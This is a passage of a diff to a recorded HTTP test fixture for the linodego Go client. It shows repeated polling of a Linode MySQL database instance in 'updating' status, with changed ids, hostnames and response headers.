https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13404,16 +17993,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:41:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13429,7 +18021,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13445,17 +18037,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13468,16 +18061,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:42:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13493,7 +18089,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13509,17 +18105,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13532,16 +18129,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:42:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13557,7 +18157,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13573,17 +18173,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13596,16 +18197,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:42:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13621,7 +18225,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13637,17 +18241,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13660,16 +18265,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:42:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13685,7 +18293,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13701,17 +18309,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13724,16 +18333,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:43:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13749,7 +18361,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13765,17 +18377,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13788,16 +18401,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:43:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13813,7 +18429,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13829,17 +18445,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13852,16 +18469,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:43:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13877,7 +18497,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13893,17 +18513,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13916,16 +18537,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:43:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -13941,7 +18565,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -13957,17 +18581,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -13980,16 +18605,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:44:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14005,7 +18633,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14021,17 +18649,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14044,16 +18673,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:44:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14069,7 +18701,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14085,17 +18717,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14108,16 +18741,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:44:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14133,7 +18769,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14149,17 +18785,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -14172,16 +18809,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:44:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14197,7 +18837,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14213,17 +18853,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": 